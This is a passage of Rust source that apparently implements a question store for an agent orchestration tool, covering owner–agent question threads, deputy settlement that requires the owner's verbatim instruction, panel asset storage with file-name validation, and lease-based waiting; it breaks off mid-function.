1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 10;
63
64const POLL: Duration = Duration::from_secs(3);
73
74const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
85
86const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
92
93const WAIT_SLICE: Duration = Duration::from_secs(240);
117
118pub const LEASE_TTL: Duration = Duration::from_secs(90);
128
129const LOCK_STALE: Duration = Duration::from_secs(10);
132
133pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
144
145pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
154
155const PANEL_DIR: &str = ".panel";
161
162const PANEL_HTML: &str = "index.html";
164
165const PANEL_TMP: &str = ".panel.tmp";
167
168pub fn valid_asset_name(name: &str) -> bool {
185 if name.is_empty() || name.len() > 64 || name.contains("..") {
186 return false;
187 }
188 let mut chars = name.chars();
189 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
190 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
191}
192
193#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
195#[serde(rename_all = "lowercase")]
196pub enum QuestionStatus {
197 Open,
199 Answered,
201 Abandoned,
205}
206
207impl QuestionStatus {
208 pub fn open(self) -> bool {
210 matches!(self, Self::Open)
211 }
212
213 pub fn as_str(self) -> &'static str {
215 match self {
216 Self::Open => "open",
217 Self::Answered => "answered",
218 Self::Abandoned => "abandoned",
219 }
220 }
221}
222
223#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
230#[serde(rename_all = "lowercase")]
231pub enum Answer {
232 Choice(String),
234 Text(String),
236}
237
238#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
246#[serde(tag = "do", rename_all = "lowercase")]
247pub enum ChoiceAction {
248 Resume {
250 run: String,
252 },
253 Requeue,
255 Done,
257}
258
259impl ChoiceAction {
260 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
265 let Some((label, verb)) = spec.rsplit_once('=') else {
266 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
267 };
268 let label = label.trim();
269 if label.is_empty() {
270 bail!("`--action {spec}` names no choice before `=`");
271 }
272 let verb = verb.trim();
273 let action = match verb.split_once(':') {
274 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
275 run: run.trim().to_owned(),
276 },
277 None if verb == "resume" => {
278 if default_run.is_empty() {
279 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
280 }
281 Self::Resume {
282 run: default_run.to_owned(),
283 }
284 }
285 None if verb == "requeue" => Self::Requeue,
286 None if verb == "done" => Self::Done,
287 _ => bail!(
288 "unknown action `{verb}` in `--action {spec}`; \
289 use resume[:<run>], requeue or done"
290 ),
291 };
292 Ok((label.to_owned(), action))
293 }
294
295 pub fn describe(&self) -> String {
297 match self {
298 Self::Resume { run } => format!("resume run {}", short(run)),
299 Self::Requeue => "requeue the task".to_owned(),
300 Self::Done => "mark the task done".to_owned(),
301 }
302 }
303}
304
305pub fn parse_actions(
308 specs: &[String],
309 choices: &[String],
310 default_run: &str,
311) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
312 let mut out = std::collections::BTreeMap::new();
313 for spec in specs {
314 let (label, action) = ChoiceAction::parse(spec, default_run)?;
315 if !choices.contains(&label) {
316 bail!(
317 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
318 choices.join(", ")
319 );
320 }
321 if out.insert(label.clone(), action).is_some() {
322 bail!("more than one --action for `{label}`");
323 }
324 }
325 Ok(out)
326}
327
328#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
339#[serde(rename_all = "lowercase")]
340pub enum Who {
341 Operator,
343 Agent,
346}
347
348#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
356#[serde(deny_unknown_fields)]
357pub struct Turn {
358 pub who: Who,
360 pub body: String,
362 pub at: Timestamp,
364 #[serde(default, skip_serializing_if = "Option::is_none")]
369 pub note: Option<String>,
370}
371
372#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
374#[serde(rename_all = "lowercase")]
375pub enum WaiterKind {
376 Asker,
378 Daemon,
381 Deputy,
385}
386
387#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
399pub struct Deputy {
400 pub brief: String,
403 #[serde(default)]
405 pub agent: String,
406 #[serde(default)]
408 pub seat: Option<crate::agent::SeatState>,
409 #[serde(default)]
412 pub starts: u32,
413}
414
415impl Deputy {
416 pub fn new(brief: String) -> Self {
418 Self {
419 brief,
420 agent: String::new(),
421 seat: None,
422 starts: 0,
423 }
424 }
425}
426
427pub fn deputy_seat_key(id: &str) -> String {
429 format!("deputy-{}", short(id))
430}
431
432#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
437pub struct Waiter {
438 pub kind: WaiterKind,
440 pub since: Timestamp,
442}
443
444#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
453pub struct Lease {
454 pub kind: WaiterKind,
456 pub pid: u32,
458 pub beat_at: Timestamp,
460}
461
462impl Lease {
463 pub fn fresh(&self, now: Timestamp) -> bool {
465 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
466 }
467}
468
469#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
471#[serde(deny_unknown_fields)]
472pub struct Question {
473 pub schema: u32,
475 pub id: String,
478 pub run: String,
480 pub node: String,
482 pub seat: String,
485 pub summary: String,
488 pub detail: String,
491 #[serde(default, skip_serializing_if = "Option::is_none")]
493 pub posting_comparison: Option<crate::github_text::PostingComparison>,
494 pub choices: Vec<String>,
498 #[serde(default)]
502 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
503 #[serde(default)]
510 pub panel: bool,
511 #[serde(default)]
518 pub assets: Vec<String>,
519 pub status: QuestionStatus,
521 pub asked_at: Timestamp,
523 #[serde(default)]
525 pub triage_generation: Option<u64>,
526 pub answered_at: Option<Timestamp>,
528 pub answer: Option<Answer>,
530 #[serde(default)]
539 pub thread: Vec<Turn>,
540 #[serde(default)]
555 pub answer_timeout: u64,
556 #[serde(default)]
562 pub cwd: Option<String>,
563 #[serde(default)]
565 pub waiter: Option<Waiter>,
566 #[serde(default)]
570 pub delivered_turns: usize,
571 #[serde(default)]
574 pub answer_delivered: bool,
575 #[serde(default)]
578 pub deputy: Option<Deputy>,
579 #[serde(default)]
583 pub consult: Option<ChatConsult>,
584}
585
586#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
588pub struct ChatConsult {
589 pub talk: String,
591 pub at: Timestamp,
593}
594
595impl Question {
596 pub fn run_names_task(&self) -> bool {
599 matches!(
600 self.node.as_str(),
601 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
602 )
603 }
604
605 pub fn new(
608 run: String,
609 node: String,
610 seat: String,
611 summary: String,
612 detail: String,
613 choices: Vec<String>,
614 ) -> Self {
615 Self {
616 schema: SCHEMA,
617 id: new_id(),
618 run,
619 node,
620 seat,
621 summary,
622 detail,
623 posting_comparison: None,
624 choices,
625 actions: std::collections::BTreeMap::new(),
626 panel: false,
627 assets: Vec::new(),
628 status: QuestionStatus::Open,
629 asked_at: Timestamp::now(),
630 triage_generation: None,
631 answered_at: None,
632 answer: None,
633 thread: Vec::new(),
634 answer_timeout: 0,
635 cwd: None,
636 waiter: None,
637 delivered_turns: 0,
638 answer_delivered: false,
639 deputy: None,
640 consult: None,
641 }
642 }
643
644 pub fn short(&self) -> &str {
646 short(&self.id)
647 }
648
649 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
652 match (&self.status, &self.answer) {
653 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
654 _ => None,
655 }
656 }
657
658 pub fn free_text(&self) -> bool {
660 self.choices.is_empty()
661 }
662
663 pub fn answer(&mut self, answer: Answer) -> Result<()> {
673 match self.status {
674 QuestionStatus::Answered => bail!(
675 "question {} was already answered; the run has moved on and a \
676 second answer would be a decision nobody acted on",
677 self.short()
678 ),
679 QuestionStatus::Abandoned => bail!(
680 "question {} was abandoned and the run behind it is gone",
681 self.short()
682 ),
683 QuestionStatus::Open => {}
684 }
685 let body = match &answer {
686 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
687 };
688 if body.trim().is_empty() {
689 bail!(
690 "question {} needs an answer; an empty one tells the agent \
691 nothing and it would guess anyway",
692 self.short()
693 );
694 }
695 match &answer {
696 Answer::Choice(c) if self.free_text() => bail!(
697 "question {} asks for free text, so `{c}` cannot be a choice \
698 it offered",
699 self.short()
700 ),
701 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
702 "`{c}` is not one of the choices question {} offers: {}",
703 self.short(),
704 self.choices.join(", ")
705 ),
706 Answer::Text(_) if !self.free_text() => bail!(
707 "question {} is multiple choice; answer with one of: {}",
708 self.short(),
709 self.choices.join(", ")
710 ),
711 _ => {}
712 }
713 self.answered_at = Some(Timestamp::now());
714 self.answer = Some(answer);
715 self.status = QuestionStatus::Answered;
716 Ok(())
717 }
718
719 pub fn abandon(&mut self, why: impl Into<String>) {
731 if !self.status.open() {
732 return;
733 }
734 self.status = QuestionStatus::Abandoned;
735 let why = why.into();
736 let why = why.trim();
737 if why.is_empty() {
738 return;
739 }
740 if !self.detail.is_empty() {
741 self.detail.push('\n');
742 }
743 self.detail.push_str("\n_Abandoned: ");
744 self.detail.push_str(why);
745 self.detail.push_str("._\n");
746 }
747
748 pub fn resolution(&self) -> Option<String> {
755 match (self.status, &self.answer) {
756 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
757 Some(a.clone())
758 }
759 _ => None,
760 }
761 }
762
763 pub fn settle_by_deputy(
774 &mut self,
775 seat: &str,
776 label: &str,
777 quote: &str,
778 note: Option<&str>,
779 ) -> Result<()> {
780 let Some(deputy) = &self.deputy else {
781 bail!("question {} has no deputy", self.short());
782 };
783 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
784 if own != Some(seat) {
785 bail!("only the deputy of question {} may settle it", self.short());
786 }
787 if !self.choices.iter().any(|c| c == label) {
788 bail!(
789 "`{label}` is not one of the choices offered on question {}",
790 self.short()
791 );
792 }
793 let quote = quote.trim();
794 if quote.is_empty()
795 || !self
796 .thread
797 .iter()
798 .any(|t| t.who == Who::Operator && t.body.contains(quote))
799 {
800 bail!(
801 "the quote is not something the owner said on question {}",
802 self.short()
803 );
804 }
805 let latest = self
808 .thread
809 .iter()
810 .rev()
811 .find(|t| t.who == Who::Operator)
812 .map(|t| {
813 if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
814 t.body.as_str()
815 } else {
816 t.body.trim()
817 }
818 });
819 if crate::deputy::merge_gated(self) {
820 let ok = if label == crate::land::APPROVE {
826 latest.is_some_and(|m| m.contains(quote))
827 } else if label == crate::land::HOLD || label == crate::land::REPAIR {
828 latest.is_some_and(|m| {
829 quote.eq_ignore_ascii_case(label) && m.eq_ignore_ascii_case(label)
830 })
831 } else {
832 false
833 };
834 if !ok {
835 bail!(
836 "on a merge approval `{label}` settles it only when the quote is a \
837 verbatim part of the owner's latest message ({}); if the wording is \
838 doubtful, ask what they mean with `--thread` instead",
839 if label == crate::land::HOLD {
840 "for `hold`, the whole message"
841 } else {
842 "the quote must be the instruction itself"
843 }
844 );
845 }
846 } else if self.node == crate::github_text::ASK_NODE
847 && crate::deputy::destructive(self, label)
848 {
849 if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
850 bail!(
851 "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
852 );
853 }
854 } else if crate::deputy::destructive(self, label)
855 && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
856 {
857 bail!(
858 "`{label}` cannot be undone; it settles question {} only when the owner's \
859 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
860 / not / question); ask what they mean with `--thread` instead",
861 self.short()
862 );
863 }
864 self.thread.push(Turn {
865 who: Who::Agent,
866 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
867 at: Timestamp::now(),
868 note: note
869 .map(str::trim)
870 .filter(|n| !n.is_empty())
871 .map(str::to_owned),
872 });
873 self.delivered_turns = self.thread.len();
874 self.answer(Answer::Choice(label.to_owned()))
875 }
876
877 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
888 match self.status {
889 QuestionStatus::Answered => bail!(
890 "question {} was already answered; there is nothing left to \
891 discuss",
892 self.short()
893 ),
894 QuestionStatus::Abandoned => bail!(
895 "question {} was abandoned and the run behind it is gone",
896 self.short()
897 ),
898 QuestionStatus::Open => {}
899 }
900 let body = body.into();
901 if body.trim().is_empty() {
902 bail!("a message to question {} cannot be empty", self.short());
903 }
904 self.thread.push(Turn {
905 who: Who::Operator,
906 body,
907 at: Timestamp::now(),
908 note: None,
909 });
910 Ok(())
911 }
912
913 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
923 match self.status {
924 QuestionStatus::Answered => bail!(
925 "question {} was already answered; replying now would not \
926 reach anyone",
927 self.short()
928 ),
929 QuestionStatus::Abandoned => bail!(
930 "question {} was abandoned and the run behind it is gone",
931 self.short()
932 ),
933 QuestionStatus::Open => {}
934 }
935 let body = body.into();
936 if body.trim().is_empty() {
937 bail!("a reply to question {} cannot be empty", self.short());
938 }
939 self.actions.retain(|label, _| choices.contains(label));
941 self.choices = choices;
942 let unread = self.unread_from_owner().is_some();
943 self.thread.push(Turn {
944 who: Who::Agent,
945 body,
946 at: Timestamp::now(),
947 note: None,
948 });
949 if !unread {
953 self.delivered_turns = self.thread.len();
954 }
955 Ok(())
956 }
957
958 pub fn unread_from_owner(&self) -> Option<String> {
965 if !self.status.open() {
966 return None;
967 }
968 let said = self.undelivered_owner_turns();
969 (!said.is_empty()).then(|| said.join("\n\n"))
970 }
971
972 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
978 let from = self.delivered_turns.min(self.thread.len());
979 self.thread[from..]
980 .iter()
981 .filter(|t| t.who == Who::Operator)
982 .map(|t| t.body.as_str())
983 .collect()
984 }
985
986 pub fn last_activity(&self) -> i64 {
990 self.thread
991 .iter()
992 .map(|t| t.at.as_second())
993 .max()
994 .unwrap_or(0)
995 .max(self.asked_at.as_second())
996 }
997
998 pub fn waiting_on_agent(&self) -> bool {
1007 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1008 }
1009
1010 fn should_notify(&self, now: Timestamp) -> bool {
1018 let Some(last) = self
1019 .thread
1020 .iter()
1021 .rev()
1022 .find(|t| t.who == Who::Operator)
1023 .map(|t| t.at)
1024 else {
1025 return true;
1026 };
1027 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1028 }
1029}
1030
1031#[derive(Debug, Clone)]
1033pub struct Questions {
1034 root: PathBuf,
1035}
1036
1037impl Questions {
1038 pub fn open() -> Self {
1040 Self::at(crate::run::home().join("questions"))
1041 }
1042
1043 pub fn at(root: PathBuf) -> Self {
1046 Self { root }
1047 }
1048
1049 pub fn root(&self) -> &Path {
1051 &self.root
1052 }
1053
1054 pub fn path_of(&self, id: &str) -> PathBuf {
1056 self.root.join(format!("{id}.json"))
1057 }
1058
1059 pub fn panel_dir(&self, id: &str) -> PathBuf {
1061 self.root.join(format!("{id}{PANEL_DIR}"))
1062 }
1063
1064 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1088 if !valid_asset_name(&q.id) {
1089 bail!(
1090 "question id `{}` is not a name magi will build a panel path from",
1091 q.id
1092 );
1093 }
1094 if html.trim().is_empty() {
1095 bail!(
1096 "question {} was handed an empty panel; an empty frame reads to \
1097 the owner as \"the agent had nothing to say\", which is a lie",
1098 q.short()
1099 );
1100 }
1101
1102 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1105 for src in assets {
1106 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1107 if !valid_asset_name(name) {
1108 bail!(
1109 "panel asset `{}` cannot be stored: a panel file name must \
1110 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1111 src.display()
1112 );
1113 }
1114 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1115 bail!(
1116 "two panel assets are both named `{name}` - {} and {} - and \
1117 the panel can only show one of them; rename one at the source",
1118 first.display(),
1119 src.display()
1120 );
1121 }
1122 named.push((name.to_owned(), src.as_path()));
1123 }
1124
1125 let mut total = html.len() as u64;
1126 for (_, src) in &named {
1127 let meta = std::fs::metadata(src)
1128 .with_context(|| format!("stat panel asset {}", src.display()))?;
1129 if !meta.is_file() {
1130 bail!(
1131 "panel asset `{}` is not a file; a panel is html plus files \
1132 copied beside it",
1133 src.display()
1134 );
1135 }
1136 total = total.saturating_add(meta.len());
1137 }
1138 if total > PANEL_MAX_BYTES {
1139 bail!(
1140 "panel for question {} is {total} bytes, over magi's cap of \
1141 {PANEL_MAX_BYTES} bytes; nothing was written",
1142 q.short()
1143 );
1144 }
1145
1146 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1147 let dir = self.panel_dir(&q.id);
1148 std::fs::create_dir_all(&self.root)
1149 .with_context(|| format!("create {}", self.root.display()))?;
1150 clear_dir(&tmp)?;
1151 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1152 if let Err(e) = fill_panel(&tmp, html, &named) {
1153 let _ = std::fs::remove_dir_all(&tmp);
1156 return Err(e);
1157 }
1158 clear_dir(&dir)?;
1159 std::fs::rename(&tmp, &dir)
1160 .with_context(|| format!("move panel into {}", dir.display()))?;
1161
1162 q.panel = true;
1163 q.assets = named.into_iter().map(|(n, _)| n).collect();
1164 q.assets.sort_unstable();
1165 Ok(())
1166 }
1167
1168 pub fn panel_html(&self, id: &str) -> Option<String> {
1174 if !valid_asset_name(id) {
1175 return None;
1176 }
1177 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1178 }
1179
1180 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1191 if !valid_asset_name(name) {
1192 bail!(
1193 "`{name}` is not a panel file name; it must match \
1194 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1195 );
1196 }
1197 if !valid_asset_name(id) {
1198 return Ok(None);
1199 }
1200 let dir = self.panel_dir(id);
1201 if !dir.is_dir() {
1202 return Ok(None);
1203 }
1204 let path = dir.join(name);
1205 match std::fs::read(&path) {
1206 Ok(bytes) => Ok(Some(bytes)),
1207 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1208 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1209 }
1210 }
1211
1212 pub fn drop_panel(&self, id: &str) -> Result<()> {
1221 if !valid_asset_name(id) {
1222 bail!("question id `{id}` is not a name magi will build a panel path from");
1223 }
1224 clear_dir(&self.panel_dir(id))?;
1225 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1226 }
1227
1228 pub fn lease_path(&self, id: &str) -> PathBuf {
1230 self.root.join(format!("{id}.lease"))
1231 }
1232
1233 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1235 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1236 serde_json::from_str(&body).ok()
1237 }
1238
1239 pub fn beat(&self, id: &str, kind: WaiterKind) {
1246 let lease = Lease {
1247 kind,
1248 pid: std::process::id(),
1249 beat_at: Timestamp::now(),
1250 };
1251 let path = self.lease_path(id);
1252 let tmp = path.with_extension("lease.tmp");
1253 let written = std::fs::create_dir_all(&self.root)
1254 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1255 .and_then(|()| std::fs::rename(&tmp, &path));
1256 if let Err(e) = written {
1257 tracing::debug!("could not beat the lease on question {id}: {e}");
1258 }
1259 }
1260
1261 pub fn drop_lease(&self, id: &str) {
1263 let _ = std::fs::remove_file(self.lease_path(id));
1264 }
1265
1266 pub fn update<T>(
1277 &self,
1278 id: &str,
1279 f: impl FnOnce(&mut Question) -> Result<T>,
1280 ) -> Result<(Question, T)> {
1281 std::fs::create_dir_all(&self.root)
1282 .with_context(|| format!("create {}", self.root.display()))?;
1283 let lock = self.root.join(format!("{id}.lock"));
1284 let started = std::time::Instant::now();
1285 loop {
1286 match std::fs::OpenOptions::new()
1287 .write(true)
1288 .create_new(true)
1289 .open(&lock)
1290 {
1291 Ok(_) => break,
1292 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1293 let stale = std::fs::metadata(&lock)
1294 .and_then(|m| m.modified())
1295 .ok()
1296 .and_then(|t| t.elapsed().ok())
1297 .is_some_and(|age| age > LOCK_STALE);
1298 if stale {
1299 let _ = std::fs::remove_file(&lock);
1300 } else if started.elapsed() > LOCK_STALE {
1301 bail!("could not lock question {id}");
1302 } else {
1303 std::thread::sleep(Duration::from_millis(15));
1304 }
1305 }
1306 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1307 }
1308 }
1309 struct Unlock(PathBuf);
1310 impl Drop for Unlock {
1311 fn drop(&mut self) {
1312 let _ = std::fs::remove_file(&self.0);
1313 }
1314 }
1315 let _guard = Unlock(lock);
1316 let mut q = read_path(&self.path_of(id))?;
1317 let out = f(&mut q)?;
1318 self.put(&mut q)?;
1319 Ok((q, out))
1320 }
1321
1322 pub fn put(&self, q: &mut Question) -> Result<()> {
1326 std::fs::create_dir_all(&self.root)
1327 .with_context(|| format!("create {}", self.root.display()))?;
1328 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1329 let path = self.path_of(&q.id);
1330 let tmp = path.with_extension("json.tmp");
1331 let is_new = !path.exists();
1332 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1333 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1334 if is_new
1337 && q.status.open()
1338 && q.node != crate::bump::NOTICE_NODE
1339 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1340 {
1341 crate::notices::quiet_for(home, q);
1342 }
1343 Ok(())
1344 }
1345
1346 pub fn get(&self, id: &str) -> Result<Question> {
1348 let resolved = self.resolve_id(id)?;
1349 let q = read_path(&self.path_of(&resolved))?;
1350 Ok(self.with_repair_choice(q))
1351 }
1352
1353 fn with_repair_choice(&self, q: Question) -> Question {
1354 if q.status.open()
1355 && q.node == crate::land::APPROVAL_NODE
1356 && !q.choices.iter().any(|c| c == crate::land::REPAIR)
1357 && let Some(home) = self.root.parent()
1358 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1359 && crate::land::repair_available(&state)
1360 && state
1361 .land_approval
1362 .as_ref()
1363 .is_some_and(|a| a.question == q.id)
1364 {
1365 match self.update(&q.id, |current| {
1366 crate::land::upgrade_repair_choice(current, &state);
1367 Ok(())
1368 }) {
1369 Ok((current, ())) => return current,
1370 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1371 }
1372 }
1373 q
1374 }
1375
1376 pub fn list(&self) -> Vec<Question> {
1384 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1385 .into_iter()
1386 .flatten()
1387 .flatten()
1388 .map(|e| e.path())
1389 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1390 .filter_map(|p| read_path(&p).ok())
1391 .map(|q| self.with_repair_choice(q))
1392 .collect();
1393 all.sort_unstable_by(|a, b| {
1394 let rank = |q: &Question| u8::from(!q.status.open());
1395 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1396 });
1397 all
1398 }
1399
1400 pub fn open_for(&self, run: &str) -> Vec<Question> {
1406 self.list()
1407 .into_iter()
1408 .filter(|q| q.status.open() && q.run == run)
1409 .collect()
1410 }
1411
1412 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1425 let mut abandoned = 0;
1426 for mut q in self.open_for(run) {
1427 q.abandon(why);
1428 self.put(&mut q)?;
1429 abandoned += 1;
1430 }
1431 Ok(abandoned)
1432 }
1433
1434 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1458 if status.resumable() {
1459 return Ok(0);
1460 }
1461 let why = format!(
1462 "run {run} {}, so nothing is waiting for this answer",
1463 status.as_str()
1464 );
1465 let mut abandoned = 0;
1470 for mut q in self.open_for(run) {
1471 if q.node == crate::bump::NOTICE_NODE {
1472 continue;
1473 }
1474 q.abandon(&why);
1475 self.put(&mut q)?;
1476 abandoned += 1;
1477 }
1478 Ok(abandoned)
1479 }
1480
1481 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1484 if self.path_of(prefix).is_file() {
1485 return Ok(prefix.to_owned());
1486 }
1487 let hits: Vec<String> = self
1488 .list()
1489 .into_iter()
1490 .map(|q| q.id)
1491 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
1492 .collect();
1493 match hits.len() {
1494 1 => Ok(hits.into_iter().next().expect("exactly one hit")),
1495 0 => bail!("no question matches `{prefix}`"),
1496 _ => bail!(
1497 "`{prefix}` matches {} questions: {}",
1498 hits.len(),
1499 hits.join(", ")
1500 ),
1501 }
1502 }
1503
1504 pub fn revision(&self) -> u64 {
1508 std::fs::read_dir(&self.root)
1509 .into_iter()
1510 .flatten()
1511 .flatten()
1512 .filter_map(|e| e.metadata().ok())
1513 .filter_map(|m| m.modified().ok())
1514 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1515 .map(|d| d.as_millis() as u64)
1516 .max()
1517 .unwrap_or(0)
1518 }
1519
1520 pub fn count_open(&self) -> usize {
1526 self.list().iter().filter(|q| q.status.open()).count()
1527 }
1528
1529 pub fn count_needs_owner(&self) -> usize {
1538 self.list()
1539 .iter()
1540 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1541 .count()
1542 }
1543
1544 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1548 q.status.open()
1549 && q.deputy
1550 .as_ref()
1551 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1552 && !self
1553 .read_lease(&q.id)
1554 .is_some_and(|l| l.fresh(Timestamp::now()))
1555 }
1556}
1557
1558#[derive(Debug, Clone, PartialEq, Eq)]
1560pub enum Wait {
1561 Answered(String),
1563 Replied(String),
1568 Pending,
1575 Abandoned,
1580}
1581
1582pub async fn ask_and_wait(
1589 q: &mut Question,
1590 store: &Questions,
1591 notify: &config::Notify,
1592 timeout: Duration,
1593) -> Result<Wait> {
1594 wait_for_owner(q, store, notify, timeout, POLL).await
1595}
1596
1597pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1612 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1613}
1614
1615async fn wait_for_owner(
1621 q: &mut Question,
1622 store: &Questions,
1623 cfg: &config::Notify,
1624 timeout: Duration,
1625 poll: Duration,
1626) -> Result<Wait> {
1627 if !store.path_of(&q.id).is_file() {
1631 store.put(q).context("file the question")?;
1632 }
1633 if q.should_notify(Timestamp::now()) {
1634 if let Err(e) = notify(cfg, q).await {
1635 tracing::warn!(
1640 "could not notify about question {}: {e:#} - the web UI is the \
1641 only surface for it now",
1642 q.short()
1643 );
1644 }
1645 }
1646 tracing::info!(
1647 "question {} from {} is waiting for you: {}",
1648 q.short(),
1649 q.seat,
1650 q.summary
1651 );
1652 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1653}
1654
1655fn hold(store: &Questions, id: &str) {
1657 store.beat(id, WaiterKind::Asker);
1658 let took = store.update(id, |q| {
1659 if q.status.open() {
1660 q.waiter = Some(Waiter {
1661 kind: WaiterKind::Asker,
1662 since: Timestamp::now(),
1663 });
1664 }
1665 Ok(())
1666 });
1667 if let Err(e) = took {
1668 tracing::debug!("could not note the wait on question {id}: {e:#}");
1669 }
1670}
1671
1672pub fn hand_over(store: &Questions, q: &mut Question) {
1680 let done = store.update(&q.id, |r| {
1681 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1682 if r.status == QuestionStatus::Answered {
1683 r.answer_delivered = true;
1684 }
1685 r.waiter = None;
1686 Ok(())
1687 });
1688 match done {
1689 Ok((fresh, ())) => *q = fresh,
1690 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1691 }
1692}
1693
1694pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1698 let says = q.undelivered_owner_turns();
1699 if says.is_empty() {
1700 return answer.to_owned();
1701 }
1702 format!(
1703 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1704 says.join("\n\n")
1705 )
1706}
1707
1708pub fn deliver_answer(
1711 store: &Questions,
1712 q: &mut Question,
1713 answer: &str,
1714 out: &mut impl std::io::Write,
1715) -> std::io::Result<()> {
1716 writeln!(out, "{}", answer_for_agent(q, answer))?;
1717 out.flush()?;
1718 hand_over(store, q);
1719 Ok(())
1720}
1721
1722async fn wait_loop(
1732 q: &mut Question,
1733 store: &Questions,
1734 timeout: Duration,
1735 slice: Duration,
1736 poll: Duration,
1737) -> Result<Wait> {
1738 if let Some(said) = q.unread_from_owner() {
1748 return Ok(Wait::Replied(said));
1749 }
1750 hold(store, &q.id);
1751
1752 let bounded = timeout.min(slice);
1753 let is_the_real_deadline = bounded >= timeout;
1754 let deadline = tokio::time::Instant::now() + bounded;
1755 loop {
1756 let now = tokio::time::Instant::now();
1757 if now >= deadline {
1758 if !is_the_real_deadline {
